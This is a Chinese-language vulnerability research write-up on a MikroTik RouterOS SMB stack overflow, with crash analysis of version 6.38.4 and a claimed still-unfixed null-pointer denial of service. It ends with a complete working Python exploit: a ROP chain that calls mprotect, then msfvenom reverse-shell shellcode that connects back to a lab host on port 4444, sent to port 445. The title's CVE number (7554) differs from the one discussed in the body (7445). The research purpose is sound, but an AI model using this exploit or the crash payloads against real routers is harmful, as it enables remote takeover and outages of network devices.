RouterOS SMB RCE CVE-2018-7554 Analysis
0x00 前言少敘
在 Finding and exploiting CVE-2018-7445 這篇文章中,作者使用Mutiny Fuzzer,將對SMB服務傳送的初始化資料包進行dumb變異,發現崩潰進行除錯後完成漏洞利用。剛好之前對RouterOS 逆向分析 過一段時間,本文就針對 6.38.4 的版本復現利用,並對一些文章中沒有提到的點略作探究。
0x01 遺留指標
對Fuzz出crash部分感興趣的同學可以參看原文,原文在分析crash時,突發奇想地單純增加message內容長度觸發了三處不一樣的崩潰點,如下兩個payload都能觸發第一個崩潰點:
poc ='\x81\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20' poc += '\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00' poc += '\x00\x20\x00\x00' sample_poc = '\x81\x00\x00\x40'+'A'*0x40
然而作者直接朝著第二個看似能利用的崩潰點分析去了,我這裡就用A填充的payload來分析第一處的崩潰,首先在偵錯程式裡看下棧回溯:
其中複製的目的地址edi為0產生崩潰,結合SMB的 協議 ,在函式呼叫流程中可知 sub_805038A
中,判斷了message type是0x81,儲存了長度然後傳遞空指標進入崩潰點:
開始的想法是對這個位置不變的堆地址(ASLR為1)下硬體寫斷點,實際只能捕獲到初始化為空指標的過程。配合逆向注意到程式在 read
完後,又呼叫函式 sub_8050858
在堆上新生成個物件儲存資料內容,並在後續過程中傳遞使用:
上圖v38中儲存的堆地址內容如下,其中 0x8076fc8+0xc
處就是崩潰時引用的空指標:
其實崩潰處沒有A相關資訊,就應該想到不是message內容導致的崩潰,而很可能是在處理資料包的過程中,沒有進入某處邏輯導致某變數沒有初始化,最後再引用時則導致了空指標。推測是message type的原因,在 0x8076fc8
處下硬點讀斷點,第一處觸發在 sub_806DB00
函式中,我們payload message的長度為0x40不會進入67行的邏輯:
第二次的觸發點就直接是將空指標傳入崩潰點的過程了:
如果message的長度大於0x43,即會進入第一處的邏輯在函式 sub_80502D0
完成初始化操作。所以只要長度小於0x44就能穩定觸發這個空指標引用的崩潰,而且該問題在最新的系統版本6.44中仍未修復,可在某些場景下造成拒絕服務攻擊:
對於 sample_poc = '\x81\x00\x3e\x80'+'A'*0x3e80
觸發的第三處崩潰,在 gef 中可看出是把棧打滿了引發的段錯誤,和第二個崩潰點的可利用性一樣。至於本文開始提到的可完成漏洞利用的第二個崩潰點,詳見後面的小節內容:
0x02 漏洞分析
緊接上文如果修改message長度為0x44,進入處理後繼續執行則觸發了和原文中一樣的第二處崩潰,其中的eip被覆蓋為非法地址,像是一個溢位漏洞而且利用的可能性很大:
接下來需要定位溢位點,原文作者的思路是檢視後端程式的輸出,根據字串定位至相關環境,然後單步執行觀察棧幀和暫存器的情況確定溢位函式:
結合之前的逆向我們知道,在判斷message type為0x81後先經過 sub_806DB00
函式的初始化,隨後呼叫 sub_8054A76
和 sub_8054A05
過程中都有傳遞棧地址,最後輸出 New connection:
,那麼問題很可能存在於後兩者中,借用原文的虛擬碼展示 sub_8054A76
的邏輯:
其解析源字串儲存至棧地址上,並用 .
字元作為分隔符。按照 sub_8054A76((int)&v60, (unsigned __int8 *)(v4 + 34));
的呼叫方式,源地址是message指標偏移34位元組內容可控,目的地址為棧地址,解析過程中沒有邊界檢查導致溢位,可影響前一棧幀進而覆蓋eip。
原文說這個SMB溢位漏洞在 6.41.3 修復了,其做法是限制複製的長度只能是32位元組,一種刪減功能的做法:
0x03 漏洞利用
這是一個比較簡單的溢位漏洞,所以利用姿勢比較常規,除錯過程中需要注意上下文環境。程式開啟的保護機制只有個NX,可使用ROP呼叫mprotect函式新增記憶體的可執行許可權,系統ASLR為1,可以考慮在brk分配的heap上,也就是message中攜帶shellcode,mprotect後調轉執行。
我個人比較喜歡靜態地確定偏移,v60的地址為 ebp+var_3C
即向下0x40個位元組可覆蓋至eip,試水如下:
poc ="\x81\x00\x00\x68" # header poc += "A" * 34# padding poc += "\x44" * 1# length poc += "B" * 64# padding poc += "C" * 4# bof eip poc += "\x00" * 1# end
溢位後雖然還呼叫了 sub_8054A05
,但我們在漏洞利用階段不要太拘泥於逆向分析,直接動態除錯可加大效率,可知該函式對我們的payload並沒有什麼影響:
ROP鏈的構造和原文中的大同小異,可以選擇更加高效的gadget來組合,其中學到的是在vDSO中呼叫 __kernel_vsyscall
系統呼叫的彙編指令,而且該地址 不受 RouterOS系統中ASLR的影響,照葫蘆畫瓢寫了下:
rop = "" rop += p32(0x08048eec) # pop eax ; ret rop += p32(0x7d)# eax -> mprotect system call rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret rop += p32(0x7)# edx -> prot for mprotect rop += p32(0x14000)# ecx -> len for mprotect rop += p32(0x08074000) # ebx -> addr for mprotect rop += p32(0x90909090) # esi -> junk rop += p32(0x90909090) # edi -> junk rop += p32(0x90909090) # ebp -> junk rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret rop += p32(0x90909090) # ebp -> junk rop += p32(0x90909090) # edx -> junk rop += p32(0x90909090) # ecx -> junk rop += p32(0xffffffff) # addr for shellcode in heap
緊接著新增120位元組的 \x90
作為shellcode,想看看rop中有沒有被bad char影響,header中message的長度就是 34+1+64+64+1+120=0x11c
,可傳送資料包後根本沒有進入漏洞邏輯,除錯可知在 read
資料過程中莫名奇妙地少了4個位元組,講道理程式只有一處 read
函式的觸發而且count為0x10000,此處疑問只能求師傅們教教我了:
程式在處理message之前還會校驗一下長度,因為接收的長度小於header中的長度,程式直接返回也就不能到達漏洞點了:
這裡推測可能是存在bad char或者程式邏輯和我逆向預期的不同,有一個規避的方法就是在上圖中是可以使接收的資料長度大於header中的長度欄位,其會根據長度欄位生成一個新的message物件傳遞給後續函式使用。還注意到 read
接收的資料儲存在堆地址上並沒有釋放掉,可以考慮使用其中儲存的原始shellcode的固定地址:
最終完成執行許可權的新增後,檢視該堆地址的內容是否有被破壞,發現雖然有所偏移但shellcode的起始地址還是固定不變的:
綜上,可以構建exploit如下,完成反彈shell的操作:
#!/usr/bin/env python import socket import struct p32 = lambda x : struct.pack('I', x) header = "\x81\x00\x01\x1c" padding = "A"*34 + "\x80" + "B"*64 rop = "" rop += p32(0x08048eec) # pop eax ; ret rop += p32(0x7d)# eax -> mprotect system call rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret rop += p32(0x7)# edx -> prot for mprotect rop += p32(0x14000)# ecx -> len for mprotect rop += p32(0x08074000) # ebx -> addr for mprotect rop += p32(0x90909090) # esi -> junk rop += p32(0x90909090) # edi -> junk rop += p32(0x90909090) # ebp -> junk rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret rop += p32(0x90909090) # ebp -> junk rop += p32(0x90909090) # edx -> junk rop += p32(0x90909090) # ecx -> junk rop += p32(0x080778e0) # addr for shellcode in heap end = "\x00" # msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f python -v shellcode shellcode ="" shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0" shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9" shellcode += "\x68\xc0\xa8\x38\x67\x68\x02\x00\x11\x5c\x89\xe1" shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52" shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80" shellcode += "\x90" * (120+40-len(shellcode)) exploit = header + padding + rop + end + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.102', 445)) s.sendall(exploit) s.close()
0x04 總結反思
- 除錯有方法:在根據crash定位問題點,和判斷crash的可利用性時,通常考察的是除錯的技巧和思路,需要增強相關的系統知識才能更高效。
- 利用與逆向:在定位至漏洞點並確定利用方案後,雖然逆向必不可少但也不能太鑽牛角尖,忽視了漏洞利用的最終目的。
- 利用精簡化:本文的利用還是靠著固定堆地址,程式中應該還有一個固定堆地址是可利用的,但應該還有堆噴和上下文相關的更加精簡優雅的利用方式,感興趣可以探究下。
- 深入實地裡:漏洞看起來簡單實踐起來終歸是能學到東西的,腳踏實地的話,RouterOS的 這個 整數溢位的利用還是很有意思的。